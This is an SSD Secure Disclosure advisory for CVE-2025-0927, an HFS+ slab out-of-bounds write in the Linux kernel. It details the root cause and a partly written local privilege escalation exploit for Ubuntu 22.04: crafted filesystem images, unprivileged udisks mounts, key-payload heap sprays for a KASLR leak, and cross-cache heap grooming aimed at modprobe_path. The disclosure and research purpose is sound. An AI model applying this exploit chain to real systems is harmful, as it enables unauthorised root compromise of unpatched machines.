SSD Advisory – Linux kernel hfsplus slab-out-of-bounds Write

Summary

This advisory describes an out-of-bounds write vulnerability in the Linux kernel that achieves local privilege escalation on Ubuntu 22.04 for active user sessions.

Credit

An independent security researcher working with SSD Secure Disclosure.

Vendor Response

Ubuntu has released the following advisory and fix: https://ubuntu.com/security/CVE-2025-0927

Affected Versions

Linux Kernel, up to 6.12.0
Ubuntu 22.04 with Linux Kernel 6.5.0-18-generic

CVE

CVE-2025-0927

Technical Analysis

This a vulnerability in the HFS+ driver of the Linux kernel. Interestingly, the vulnerability has always been present in the kernel tree since the initial git repository build 1da177 in 2005, that is, since Linux-2.6.12-rc2.

HFS+ had been the primary Mac OS X file system until it was replaced with the Apple File System (APFS), released with macOS High Sierra in 2017. It is based on B-tree data structures and is well documented. The vulnerability itself is a buffer overflow in B-tree node processing. Under certain circumstances, the function hfs_bnode_read_key found in fs/hfsplus/bnode.c is used to populate an in-kernel buffer from the filesystem, and the function itself does not check for boundary conditions regarding the size of the key.

void hfs_bnode_read_key(struct hfs_bnode *node, void *key, int off)
{
    struct hfs_btree *tree;
    int key_len;

    tree = node->tree;
    if (node->type == HFS_NODE_LEAF ||
        tree->attributes & HFS_TREE_VARIDXKEYS ||
        node->tree->cnid == HFSPLUS_ATTR_CNID)
        key_len = hfs_bnode_read_u16(node, off) + 2;
    else
        key_len = tree->max_key_len + 2;

    hfs_bnode_read(node, key, off, key_len);

}

Our understanding is that the authors must have assumed that this function was called only in contexts where it had been verified for B-tree records that the corresponding keys stored within those had reasonable length values. In particular, hfs_bnode_find enforces constraints on records that ensure that the key sizes are within the entry sizes, moreover when manipulating records within B-tree nodes, the code in hfs_brec_insert calls into __hfs_brec_find to determine the appropriate index, and this function is a logarithmic search that does impose sanity checks on each record it encounters via hfs_brec_keylen:

/* Get the length of the key from a keyed record */
u16 hfs_brec_keylen(struct hfs_bnode *node, u16 rec)
{
    u16 retval, recoff;

    if (node->type != HFS_NODE_INDEX && node->type != HFS_NODE_LEAF)
        return 0;

    if ((node->type == HFS_NODE_INDEX) &&
       !(node->tree->attributes & HFS_TREE_VARIDXKEYS) &&
       (node->tree->cnid != HFSPLUS_ATTR_CNID)) {
        retval = node->tree->max_key_len + 2;
    } else {
        recoff = hfs_bnode_read_u16(node,
            node->tree->node_size - (rec + 1) * 2);
        if (!recoff)
            return 0;
        if (recoff > node->tree->node_size - 2) {
            pr_err("recoff %d too large\n", recoff);
            return 0;
        }

        retval = hfs_bnode_read_u16(node, recoff) + 2;
        if (retval > node->tree->max_key_len + 2) {
            pr_err("keylen %d too large\n",
                retval);
            retval = 0;
        }
    }
    return retval;
}

This code looks like it has some integer overflow issues, but the calling context correctly handles the cases. The B-tree header can define its own max_key_len value per the specification, but in practice in this driver, hfs_btree_open enforces that each file’s maximum key size strictly equals to constant values known at compilation time:

    case HFSPLUS_ATTR_CNID:
        if (tree->max_key_len != HFSPLUS_ATTR_KEYLEN - sizeof(u16)) {
            pr_err("invalid attributes max_key_len %d\n",
                tree->max_key_len);
            goto fail_page;
        }

/* HFS+ attributes tree key */
struct hfsplus_attr_key {
    __be16 key_len;
    __be16 pad;
    hfsplus_cnid cnid;
    __be32 start_block;
    struct hfsplus_attr_unistr key_name;
} __packed;

#define HFSPLUS_ATTR_KEYLEN    sizeof(struct hfsplus_attr_key)

When manipulating nodes, the extracted keys are stored in generic kmalloc caches corresponding to this per-B-tree fixed size in bfind.c:

int hfs_find_init(struct hfs_btree *tree, struct hfs_find_data *fd)
{
    void *ptr;

    fd->tree = tree;
    fd->bnode = NULL;
    ptr = kmalloc(tree->max_key_len * 2 + 4, GFP_KERNEL);
    if (!ptr)
        return -ENOMEM;
    fd->search_key = ptr;
    fd->key = ptr + tree->max_key_len + 2;
    hfs_dbg(BNODE_REFS, "find_init: %d (%p)\n",
        tree->cnid, __builtin_return_address(0));
    mutex_lock_nested(&tree->tree_lock,
            hfsplus_btree_lock_class(tree));
    return 0;
}

For the attribute tree, this results in a max_key_len of 0x10a and an allocation of 0x218 bytes.

However, the invariant is not maintained for all calling contexts of hfs_bnode_read_key, resulting in the vulnerability.

The specification allows B-trees to set much larger nodes than the default 0x2000 size, up to 0x8000, allowing for large records and keys accordingly.

Crucially, the function hfs_brec_find does contain a logic flaw :

/* Traverse a B*Tree from the root to a leaf finding best fit to key */
/* Return allocated copy of node found, set recnum to best record */
int hfs_brec_find(struct hfs_find_data * fd, search_strategy_t do_key_compare) {
    struct hfs_btree * tree;
    struct hfs_bnode * bnode;
    u32 nidx, parent;
    __be32 data;
    int height, res;

    tree = fd -> tree;
    if (fd -> bnode)
      hfs_bnode_put(fd -> bnode);
    fd -> bnode = NULL;
    nidx = tree -> root;
    if (!nidx)
      return -ENOENT;
    height = tree -> depth;

    [..]
    for (;;) {
      [..]
      // Go through records - the writeup author's comment
      __hfs_brec_find(bnode, fd, do_key_compare);

    }

In case the B-tree that we are working in does not specify a root node, e.g. is it null pointer, the code stops and return -ENOENT.

In the calling context of hfsplus_create_attr this is not a terminating condition, the code proceeds by trying to insert into the first place it can:

err = hfs_brec_find(&fd, hfs_find_rec_by_key);
if (err != -ENOENT) {
    if (!err)
        err = -EEXIST;
    goto failed_create_attr;
}

err = hfs_brec_insert(&fd, entry_ptr, entry_size);
if (err)
    goto failed_create_attr;

Note, however, that in this case that the __hfs_brec_find function is not run for any of the records that we established above was meant to also carry out the boundary checks on key sizes.

The insertion code hfs_brec_insert on the other hand, does call directly into the vulnerable hfs_bnode_read_key:

/*
 * update parent key if we inserted a key
 * at the start of the node and it is not the new node
 */

if (!rec && new_node != node) {
  hfs_bnode_read_key(node, fd -> search_key, data_off + size);
  hfs_brec_update_parent(fd);
}

For this operation to trigger, one only has to insert a new record with a key that is less than in B-tree key ordering than the first record of that particular node and the buffer overflow will be triggered. Meanwhile, the root node of the attribute B-tree is also attacker-controlled, allowing one to set it to null.

It is interesting to note that the driver along with many of the block device drivers was fuzzed before, relatively extensively, but this particular state has not been reproduced yet via fuzzers apparently, even though it is a fairly straightforward bug when manually analyzing the codebase.

Exploitability

First of all, it should be obvious to the attentive reader by now that in order to trigger these conditions and eventually the vulnerability, an attacker has to be able to mount a specially crafted filesystem.

This has been historically restricted to processes with the CAP_SYS_ADMIN capability. Since the introduction of namespaces, the kernel community has investigated restricting the trust the system has to place in underlying filesystems to make mounts more permissive. Finding a way was deemed to be an overly hard problem in general, however, there is an exception for filesystems that, via the FS_USERNS_MOUNT flag, identify themselves as being safe for use within user namespaces.

It has also been said during discussion of the proposal that:

> Figuring out how to make semantics safe is what we are talking about.
> 
> Once we sort out the semantics we can look at the handful of filesystems
> like fuse where the extra attack surface is not a concern.
> 
> With that said desktop environments have for a long time been
> automatically mounting whichever filesystem you place in your computer,
> so in practice what this is really about is trying to align the kernel
> with how people use filesystems.

The key difference is that desktops only do this when you physically
plug in a device. With unprivileged mounts, a hostile attacker
doesn't need physical access to the machine to exploit lurking
kernel filesystem bugs. i.e. they can just use loopback mounts, and
they can keep mounting corrupted images until they find something
that works.

So far these discussions were somewhat theoretical – to my knowledge, nobody has demonstrated a feasible attack scenario with malformed filesystems until this very writeup.

So, for the record, the Linux kernel in general only allows mounts for those with CAP_SYS_ADMIN, however, it is true that desktop and even server environments allow regular non-privileged users to mount and automount filesystems.

In particular, both the latest Ubuntu Desktop and Server versions come with default polkit rules that allow users with an active local session to create loop devices and mount a range of block filesystems commonly found on USB flash drives with udisks2. Inspecting /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy shows:

<action id="org.freedesktop.udisks2.filesystem-mount">
    <description>Mount a filesystem</description>
    [..]
     <defaults>
      <allow_any>auth_admin</allow_any>
      <allow_inactive>auth_admin</allow_inactive>
      <allow_active>yes</allow_active>
    </defaults>
 </action>

<action id="org.freedesktop.udisks2.loop-setup">
    <description>Manage loop devices</description>
    [..]
    <defaults>
      <allow_any>auth_admin</allow_any>
      <allow_inactive>auth_admin</allow_inactive>
      <!-- NOTE: this is not a DoS because we are using /dev/loop-control -->
      <allow_active>yes</allow_active>
    </defaults>
  </action>

That is, not only can active normal (low-privileged) users mount filesystems, but they can set up loop devices as well based on local files something like this using udisksctl:

DEVICE=$(udisksctl loop-setup -f malformed.raw | grep -o '/dev/loop[0-9]*')`
udisksctl mount -b "$DEVICE"

For a user with allow_active set to “yes” the followings are true:

Active Session: The user must be logged in and actively interacting with the system (e.g., local desktop session or terminal).
No Authentication: The user can perform the action without needing to authenticate (no password or privilege escalation required).

Although this is a design decision to the best of my understanding to make user experience more comfortable, for the purposes of discussing the exploitation detail, I’ll refer to this capability as a “mount oracle*”, emphasizing that this is the result of distro userspace configurations that practically bypasses the CAP_SYS_ADMIN restrictions that the kernel itself would impose on normal users.

**the oracle terminology is used throughout in theoretical computer science to investigate complexity classes where you mathematically allow them to magically access computational capabilities that they don’t generally have. I feel like there is a strong enough analogy here to abuse this word. *

Exploitation strategy

Now that we established that for practical purposes we can mount specially crafted files of our choice and HFS+ filesystems are supported by Ubuntu and many other systems, the only exercise left is to craft an actual exploit for it.

The OOB write gives us plenty of control and a strong primitive to start with. As discussed above, the buffer overflow enables us to overwrite a buffer allocated in the kmalloc-1k generic slab cache by data of our choice with a size that is also of our choosing up to 16 bits. Well, the exact size is limited by the node size, but this still means that we can overwrite a buffer of 1024 bytes with up to almost 0x8000 bytes.

In the past, many slab UAF and OOB exploits abused the msg_msg structure for both kernel infoleaks and execution control, as it is a nice elastic structure that is easy to control from userspace, behaves well under exploitation scenarios, and it can span multiple kmalloc cache sizes. Since the introduction of kmalloc-cg-* caches, vulnerable object allocations will only land in the same slab cache if allocation flags match.

In case of msg_msg and other useful objects for heap sprays, the kernel started allocating them with GFP_KERNEL_ACCOUNT, so our simple GFP_KERNEL allocation would land in an isolated slab cache, different from all those with the account flag. Moreover, since 6.6, the RANDOM_KMALLOC_CACHES configuration option hardens things even further by actually using this as a security measure as it introduces *multiple* generic slab caches for each size (named kmalloc-rnd-01-32, kmalloc-rnd-02-32 etc.).

When an object allocated via kmalloc() it is allocated to one of these 16 caches “randomly” and the exact one depends call site for the kmalloc() and a per-boot seed. Even more recently in 6.11, inspired by the success of msg_msg based exploits, a patch by Kees Cook attempted to kill these attacks by introducing a separate set of kmalloc buckets via the kmem_buckets API, specifically for msg_msg.

For most practical purposes, exploiting this vulnerability would be fairly easy for Ubuntu 22.04 sporting the 5.15 LTS kernel using techniques that others have extensively written about earlier. At the time of the research, 22.04 HWE is on 6.5, so I selected that as the target.

We won’t go super deep into the internals of the SLUB allocator, as there is a lot of material available online. Andrey Konovalov’s recent talk at the Linux Security Summit is an excellent introduction to the topic. Still, we will try to make things relatively self-contained.

Basically, our goal is to get hold of a bunch of dynamically allocated objects in kernel space that we have some control over, use our write primitive to corrupt fields of them, use this capability to leak some kernel addressess to defeat KASLR and then use some more memory corruption to somehow achieve local privilege escalation.

As distros like Ubuntu enable a bunch of hardening configuration options, we will assume these to be turned on in particular: RANDOMIZE_BASE, SLAB_FREELIST_HARDENED, SLAB_FREELIST_RANDOM. SMEP, SMAP and KPTI can be also assumed to be present and turned on.

One option that Ubuntu does not set is CONFIG_STATIC_USERMODEHELPER, that allows for possibilities of an attacker overwriting the modprobe_path variable in kernel space via some arbitrary write primitive, end escalating privileges trivially using some simple execve calls.

First steps

So at this point, our draft strategy looks something like this:

Craft a malformed filesystem that is able to trigger the primitive
Use our ‘mount oracle‘ to mount the filesystem as a normal user
Spray some useful objects into kmalloc-1k
Trigger the out-of-bounds write primitive to corrupt those objects and leak KASLR base
Correct for the address of modprobe_path using the KASLR leak
Turn the primitive into some arbitrary write capability
Overwrite modprobe_path
???
Profit.

Let’s start with the first step.

Crafting a well-formed hfsplus filesystem is relatively easy using mkfs.hfsplus. According to the specs, we are expecting a volume structured like this.

All the structures are well documented in the technical note, and fs/hfsplus/hfsplus_raw.h contains all of the relevant definitions that hfsplus uses on the block level. Although there were some tricks we investigated with abusing the volume to map file extents back to hfs+ control “metadata” to make the exploit prettier, we realized that at that point, it would be too convoluted to have any pedagogical/writeup value, we won’t be dealing with any of the stuff that actually handles how data within files get stored on the file system. For the sake of this discussion, there are only a handful of important facts of HFS+ systems:

The catalog file stores the directory and file structure on the volume. That is, when you run ls, the stuff that is listed will be based on that.
The attributes file stores and maps all the extended attributes to files and directories. Whenever you call setxattr, you expect things to happen there.
Both of these are just good old B-tree data structures.
Not so surprisingly, extended attribute B-tree records are keyed according to their extended attribute names.

So, going for a mkfs to create a 128M hfsplus volume will result in a volume header like this:

00000400: 482b 0004 8000 0100 3130 2e30 0000 0000  H+......10.0....
00000410: e330 03d6 e330 03d6 0000 0000 e330 03d6  .0...0.......0..
00000420: 0000 0000 0000 0000 0000 1000 0000 8000  ................
00000430: 0000 7cfd 0000 1702 0001 0000 0001 0000  ..|.............
00000440: 0000 0010 0000 0000 0000 0000 0000 0001  ................
00000450: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000460: 0000 0000 0000 0000 d809 6a4c 2408 d81f  ..........jL$...
00000470: 0000 0000 0000 1000 0000 1000 0000 0001  ................
00000480: 0000 0001 0000 0001 0000 0000 0000 0000  ................
00000490: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000004a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000004b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000004c0: 0000 0000 0010 0000 0010 0000 0000 0100  ................
000004d0: 0000 0002 0000 0100 0000 0000 0000 0000  ................
000004e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000004f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000500: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000510: 0000 0000 0010 0000 0010 0000 0000 0100  ................
00000520: 0000 *0c02* 0000 0100 0000 0000 0000 0000  ................
00000530: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000540: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000550: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000560: 0000 0000 0010 0000 0010 0000 0000 0100  ................
00000570: 0000 *0102* 0000 0100 0000 0000 0000 0000  ................
00000580: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000590: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000005a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000005b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000005c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000005d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................

After cross referencing it with the hfsplus_vh struct in header files and consulting struct hfsplus_extent, it should be obvious that:

The catalog file is located at 0xc02000
The attribute file is located at 0x102000

Both of these are B-trees, so seeking to these addresses, we are presented with header nodes and B-tree headers inside them.

All nodes in the tree are either header nodes, index nodes, map nodes or leaf nodes and they have this structure no matter what:

Now, we won’t be concerned about the catalog file too much either. Given our vulnerability, there are only a few requirements to trigger our primitive:

The attribute B-tree’s root must be a null pointer (to bypass checks in __hfs_brec_find)
There has to be a valid file on the filesystem with world-write permissions that we can set attributes on (this comes from the catalog)
Whatever extended attribute we are setting, it has to trigger hfs_bnode_read_key, meaning that the file should have a bunch of extended attributes already, and the one we are inserting has to have a lower key than those so the code considers it for inserting it as the first record in the node

Oh, and for meaningful results, our key length should be more than 1024 to do something useful in kmalloc-1k overflows, but that’s trivial.

To achieve this, one can mount the fresh hfs+ filesystem just created with mkfs. In the exploit, we just touch a file /hacked_node and add a few user extended attributes on it. Namely, we can add user.one, user.two, user.three and user.four with some dummy value as extended attributes.

Umounting and checking how it looks like in binary, we just have to seek to the attribute file offset that we found above at 0x102000.

00102000: 0000 0000 0000 0000 0100 0003 0000 0000  ................
00102010: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00102020: 2000 010a 0000 0080 0000 007f 0000 0010   ...............

The 0x2000 at 0x102020 means that nodes are of that size, an since this is a header node, we have to seek 0x2000 forward to find the first node holding actually funky data.

00104000: 0000 0000 0000 0000 ff01 0004 0000 001e  ................
00104010: 0000 0000 0010 0000 0000 0009 0075 0073  .............u.s
00104020: 0065 0072 002e 0066 006f 0075 0072 0000  .e.r...f.o.u.r..
00104030: 0010 0000 0000 0000 0000 0000 0005 6475  ..............du
00104040: 6d6d 7900 001c 0000 0000 0010 0000 0000  mmy.............
00104050: 0008 0075 0073 0065 0072 002e 006f 006e  ...u.s.e.r...o.n
00104060: 0065 0000 0010 0000 0000 0000 0000 0000  .e..............
00104070: 0005 6475 6d6d 7900 0020 0000 0000 0010  ..dummy.. ......
00104080: 0000 0000 000a 0075 0073 0065 0072 002e  .......u.s.e.r..
00104090: 0074 0068 0072 0065 0065 0000 0010 0000  .t.h.r.e.e......
001040a0: 0000 0000 0000 0000 0005 6475 6d6d 7900  ..........dummy.
001040b0: 001c 0000 0000 0010 0000 0000 0008 0075  ...............u
001040c0: 0073 0065 0072 002e 0074 0077 006f 0000  .s.e.r...t.w.o..
001040d0: 0010 0000 0000 0000 0000 0000 0005 6475  ..............du
001040e0: 6d6d 7900 0000 0000 0000 0000 0000 0000  mmy.............
001040f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00104100: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00104110: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00104120: 0000 0000 0000 0000 0000 0000 0000 0000  ................

We don’t know about you, but for me, that 0x1e at 0x10400e looks like a byte that’s screaming for being overwritten by attacker-controlled data. Once we overwrite it, the vulnerable function will just pile up whatever junk is in the filesystem and memcpy() it over that kmalloc-1k slab we have in memory.

How do we overwrite it? Write-these-bytes-to-this-file. After that we just mount the file with our oracle, and then perform a setxattr with an attribute with the lowest lexicographic ordering in the node, and that will result in memory corruption in kernel space.

char *attr_value = "dummy";
int result = setxattr("/tmp/mnt0/hacked_node", "user.1", attr_value, strlen(attr_value), 0);

if (result != 0)
    do_error_exit("setxattr attempt on vuln fs");

We are finished with the first part.

KASLR leak

Now that we can corrupt and mount a filesystem and trigger our uncontrolled write primitive, it is time to chose some target objects. Luckily, it is a well known trick to spray a bunch of struct user_key_payload‘s into your target cache and overwrite those. Now, on 6.5, these are still in generic kmalloc caches:

    upayload = kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL);

The tool of the trade is then to kick off a bunch of keys using keyctl() with data that makes them sit in kmalloc-1k, then trigger our primitive and overwrite datalen:

struct user_key_payload {
  struct rcu_head rcu; /* RCU destructor */
  unsigned short datalen; /* length of this data */
  char data[] __aligned(__alignof__(u64)); /* actual data */
};

Kindergarten stuff really. All it takes is to overwrite our 0x400 slab slot by sizeof(struct rcu_head) and sizeof(unsigned short) and hope for the best. In the exploit code this corresponds to:

void hack_hfs_keyring(unsigned char * hfs_buffer, size_t len, uint64_t dummy) {
    /* Let's check some basic information about our volume */
    parse_volume(hfs_buffer, len);

    /* First, we hack the attribute B-tree a little bit */
    resize_nodes(hfs_buffer, len);

    /* Remove root */
    remove_root(hfs_buffer, len);

    /* Corrupt key length */
    corrupt_key_len(hfs_buffer, len, 0x418 - 2);

    uint8_t payload[24] = {
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xff, 0xff, 0x53, 0x53, 0x53, 0x53, 0x53, 0x53
    };

    uint16_t payload_len = sizeof(payload);

    /* Write kmalloc-1k payload */
    write_payload(hfs_buffer, len, payload, payload_len);
}

The sole purpose of this code is to corrupt a single key, and overwrite its datalen with 0xffff, which would be a pretty comfortable out-of-bounds read.

If our kernel mode mambojambo was successful, we can actually check for that condition in userspace:

uint64_t get_keyring_leak(key_serial_t * id_buffer, uint32_t id_buffer_size)`
{
    uint8_t buffer[USHRT_MAX] = {0};
    int32_t keylen;

    printf("[+] Checking sprayed keys for corruption\n");
    for (uint32_t i = 0; i < id_buffer_size; i++) {

        keylen = keyctl(KEYCTL_READ, id_buffer[i], (long)buffer, USHRT_MAX, 0);

        if (keylen < 0)
            continue;

        if (keylen > 1024) {
            printf("[+] Found corrupted key, triggering infoleak\n");
            return parse_leak(buffer, keylen);
        }
    }
    return 0;
}

Reading on the key via the appropriate system call at this point actually results in a very nice dump of 65k of kernel memory.

That’s all fascinating, but in order to defeat KASLR, a random kernel memory dump won’t suffice. We need some function pointers at addresses we can calculate. Well, easier said than done.

Apart from a few academic papers that actually tried to systematically investigate all the slab allocated elastic objects with nice interfaces, there isn’t too much information out there on the definitive guide to heap spraying. It is hard to do justice to the subject in general and for practical exploitation, one is always working with a specific kernel build directly. The tool of the trade is either using pahole to hunt for nice structures in the Linux kernel, but that tool is completely static and it has absolutely no understanding of userspace taintability, so another approach is to create a Linux kernel database for CodeQL queries and refine your search for the target with some smart filtering:

/**
 * @name Find interesting objects for kernel heap exploitation
 * @id cpp/kernel-interesting-objects
 * @description Finds interesting objects for kernel heap exploitation
 * @kind problem
 * @precision low
 * @tags security kernel
 * @problem.severity error
 */

import cpp

class FlexibleArrayMember extends Field {
  FlexibleArrayMember() {
    exists(Struct s |
      this = s.getCanonicalMember(max(int j | s.getCanonicalMember(j) instanceof Field | j))
    ) and
    this.getUnspecifiedType() instanceof ArrayType and
    (
      this.getUnspecifiedType().(ArrayType).getArraySize() <= 1 or
      not this.getUnspecifiedType().(ArrayType).hasArraySize()
    )
  }
}

class KmallocCall extends FunctionCall {
  KmallocCall() { this.getTarget().hasName(["kmalloc", "kzalloc", "kvmalloc"]) }

  Expr getSizeArg() { result = this.getArgument(0) }

  string getFlag() {
    result =
      concat(Expr flag |
        flag = this.getArgument(1).getAChild*() and flag.getValueText().matches("%GFP%")
      |
        flag.getValueText(), "|"
      )
  }

  string getSize() {
    if this.getSizeArg().isConstant()
    then result = this.getSizeArg().getValue()
    else result = "unknown"
  }

  Type sizeofParam(Expr e) {
    result = e.(SizeofExprOperator).getExprOperand().getFullyConverted().getType()
    or
    result = e.(SizeofTypeOperator).getTypeOperand()
  }

  Struct getStruct() {
    exists(Expr sof |
      this.getSizeArg().getAChild*() = sof and
      this.sizeofParam(sof) = result
    )
  }

  string isFlexible() {
    this.getSize() = "unknown" and
    this.getStruct().getAField() instanceof FlexibleArrayMember and
    result = "true"
    or
    not this.getSize() = "unknown" and
    not this.getStruct().getAField() instanceof FlexibleArrayMember and
    result = "false"
  }
}

from KmallocCall kfc, Struct s
where
  s = kfc.getStruct() and
  not kfc.getSizeArg().isAffectedByMacro()
select kfc.getLocation(), kfc, s, s.getLocation(), s.getSize(), kfc.getFlag(), kfc.getSize(),
  kfc.getArgument(0), kfc.isFlexible()

And the last resort, Chuck Norris approach of mine is to actually give up on all those static analysis methods and actually set breakpoints in gdb.

After all, it is not that hard to intercept all kmalloc() calls and filter for allocations that end up in our generic kmalloc-1k slab cache.

The results? Disappointing.

Cross-cache overread

Again, we would love to work in kmalloc-1k all the way, but it turns out that there are only a handful of elastic objects we can spray there on 6.5, and for our KASLR bypass, we actually need an object that has some references to pointers that we can use to do arithmetic on based on our kernel build to recover the random offset that was added in the beginning.

Maybe I overlooked something, but based on resources from the kernel CTF community, the best candidate object I found was tty_struct. Here’s a summary from smallkirby/kernelpwn:

name	cache size	usage
`tty_struct`	kmalloc-1024	kbase leak, RIP hijack
`tty_fle_private`	kmalloc-32	kheap leak
`poll_list, pollfd`	kmalloc-32 ~ 1024	kheap leak, arbitrary address free
`user_key_payload`	kmalloc-32 ~ 1024	arbitrary value write
`setxattr`	kmalloc-32 ~ 1024	arbitrary value write
`seq_operations`	kmalloc-32	kbase leak, RIP hijack
`subprocess_info`	kmalloc-128	kbase leak, RIP hijack

The bad news, though, is that tty_struct is allocated with the accounting flag on:

/**
 * alloc_tty_struct - allocate a new tty
 * @driver: driver which will handle the returned tty
 * @idx: minor of the tty
 *
 * This subroutine allocates and initializes a tty structure.
 *
 * Locking: none - @tty in question is not exposed at this point
 */
struct tty_struct * alloc_tty_struct(struct tty_driver * driver, int idx) {
    struct tty_struct * tty;
    tty = kzalloc(sizeof( * tty), GFP_KERNEL_ACCOUNT);
    if (!tty) return NULL;

This means that it is allocated in kmalloc-cg-1k and not in kmalloc-1k. Simple as that.

This is the point where it would have made sense to look for more options that enables staying within the normal kmalloc-1k.

Still, given all the hardening measures that are already present in Ubuntu 24.04 already shipping hardened kernel 6.8, it makes a lot of sense to actually face the inevitable: modern slab UAF and OOB exploits will probably have to rely on cross-cache attacks for better or worse from now on. An probably some even more sophisticated attacks if those get killed as well. (Don’t take me wrong, that’s excellent news for security, but here we are taking an offensive security approach and a hacker mindset.)

We think the attentive reader knows where this is going, we are going to “simply” cross-cache into kmalloc-cg-1k as an exercise and reuse all the nice properties of tty_struct for kaslr leak and profit.

Cross-cache what

So long story short, no ones likes cross-cache attacks, because they are difficult, they have a reputation for being unreliable (although, interestingly, if you follow references to citations where this is claimed, you won’t find any definite statistics).

There aren’t that many kernel developers with a firm understanding of them, maybe only those folks who have the time and resources to write kernel CTFs for fun. One systematic study recently published attempts to come up with a universal approach for turning very weak memory corruption primitives into practical cross-cache attacks, but for kmalloc-1k, we couldn’t really reproduce their results unfortunately.

On the other hand, there is a classic Etenal writeup for CVE-2022-27666 that illustrates the idea and it has a much more practical approach – note that he had absolutely no choice but go down this path: https://etenal.me/archives/1825.

Additionally, there is willsroot’s CTF problem and analysis for a cool little cross-cache trick that is not super transferable to real life: https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html, but very cool. And I’m sure there are a bunch of more, but the fact that Will said this in 2022:

 I found resources on this strategy quite scarce, and haven’t personally seen a CTF challenge that requires it.

Well, this reassures me that it makes a lot of sense to dig deeper here for pedagogical reasons.

As with everything in computer science, the idea is generally simple. The point of the slab/slub allocator in the kernel is to do allocations practically optimally for objects which are smaller than a page, and as much as small object allocation happens so frequently in the kernel that the allocator had to be optimized multiple times to eventually arrive at the current SLUB architecture, it turns out that optimizing page allocation performance is just as crucial for memory allocation.

Turns out, that problem had been already solved by the time Linux gained real traction.

The original idea was invented by Harry Markowitz in the 60’s, and it was popularized in Donald Knuth’s The Art of Computer Programming that is referenced in kernel docs. Similarly to other material you find in those volume of books, it remained a somewhat unsexy topic among kernel hackers to discuss page allocations until recently.

So, to get a better grip on the concept, I attempted to write a simple simulator. The general idea is that, since this is not use-after-free:

We just have to allocate a bunch of objects, and at some point, the kmem_cache is going to allocate a slab from the page allocator (turns out to be an order-1 page block, which means it is 2*pagesize)
This is also true for kmalloc-1k and kmalloc-cg-1k.
The conclusion is that as I long as I can trigger the allocation of objects in both of these slab caches at roughly the same time, I might have a chance.

How?

By running a bunch of simulated runs to convince me that whenever an order-2 or oder-3 page block split happens, there will be a healthy time window for kernel space code to grab two consecutive page allocations that are next to each other, like spatially next to each other

I realized that at this point this becomes utterly speculative, so I coded up some python to see for myself.

Whenever there is a vertical red dotted line, we end up in a situation where two allocations randomly resulted in a scenario that is ideal for page level heap feng-shui: we could just overwrite our vulnerable slab, make the target slab grab the order-1 pages from the page allocator, and then we could just overflow into that memory region.

Etenal (who seems to be a great photographer apart from being an elite kernel hacker, on an unrelated note) writes:

To mitigate this noise, I did something shown below:

1. drain the freelist of order 0, 1, 2.
2. allocate tons of order-2 objects(assume it’s N), by doing so, order 2 will borrow pages from order 3.
3. free every half of objects from step 2, hold the other half. This creates N/2 more object back to order-2’s freelist.
4. free all objects from step 1

This works like charm on a fairly idle QEMU system. Does it work in production? That depends on the memory allocation noise, but practically speaking it works well for OOB reads. The state of the buddy allocator free list is actually exposed via proc for each order:

One thing is for sure, since we are targeting kmalloc-1k which allocates slabs of length 8k bytes, corresponding to order-1 page allocations, it makes a lot of sense to trigger our OOB write on page-2 heap sprays.

Why? Because, thanks to Donald Knuth, there is no question about one thing: just around the time when order-2 allocations were just split into to buddies in the buddy allocator, there is a high chance that we can grab two consecutive allocations for the memory regions backing our isolated kmem_cache slabs.

Going back to our simulator and implementing the draining looks something like this:

 def simulate_time_evolution(self):
        """Simulate kernel noise generation over a series of time steps."""
        for time_step in range(TIME_STEPS):
            self.generate_noise()
        # Simulate freelist draining for cross-cache heap fengshui
        if time_step == 80:
            print("Draining freelists")
            buddyinfo = self.buddy_allocator.get_free_list_state()
            for _ in range(buddyinfo[0]):
                 self.buddy_allocator.allocate(0)
            for _ in range(buddyinfo[1]):
                 self.buddy_allocator.allocate(1)
            for _ in range(1):
                 self.buddy_allocator.allocate(2)

        # Record the current state of the buddy allocator's free lists
        self.free_list_history.append(self.buddy_allocator.get_free_list_state())
        # Check for consecutive order-1 block allocations
        self.check_consecutive_allocations(time_step)

And this indeed results in a few spots ideal for cross-cache OOB on each run like this:

To test the concept further, we wrote a little kernel module that exposes a procfs node as a sort of timing side-channel and it allows userspace to check whether these two consecutive slab allocations actually happened. Results?

Guess what, when Etenal says:

Once it borrows pages from a higher order, two consecutively allocations will split the higher-order pages, and most importantly, the higher-order pages are a chunk of contiguous memory.

He is not wrong. Turns out that within 0.2 seconds from splitting order-2 page blocks, we are able to experimentally verify on a real kernel that this is the best time window to do a cross-cache attack that attempts to position two seperate kmem_cache slabs close to each other in memory (kmalloc-1k and kmalloc-cg-1k) so that our cross cache OOB becomes feasible.

The nice part is that Mr. Knuth’s algorithm was optimized for performance which makes a lot of sense, but it is actually detrimental to the system that we can stay within 0.1 seconds within the intended time window on production kernels simply by collecting some stats on my own build that we instrumented with timing side channel facilities.

Slabby memory forensics

As simple as the following idea is, I’ve never seen it in exploits or CTF solutions. Since we can still not be completely sure about the cross-cache timing, we are going to rely on our ability to read up to 65k. Given that we are trying to cross-cache from kmalloc-1k to kmalloc-cg-1k slabs, this means that we have 8 complete slabs worth of slabs to miss, and we will still be able to read tty_structs sprayed all over kernel memory.

Do we know exact offsets? No, we don’t, but we don’t actually have to.

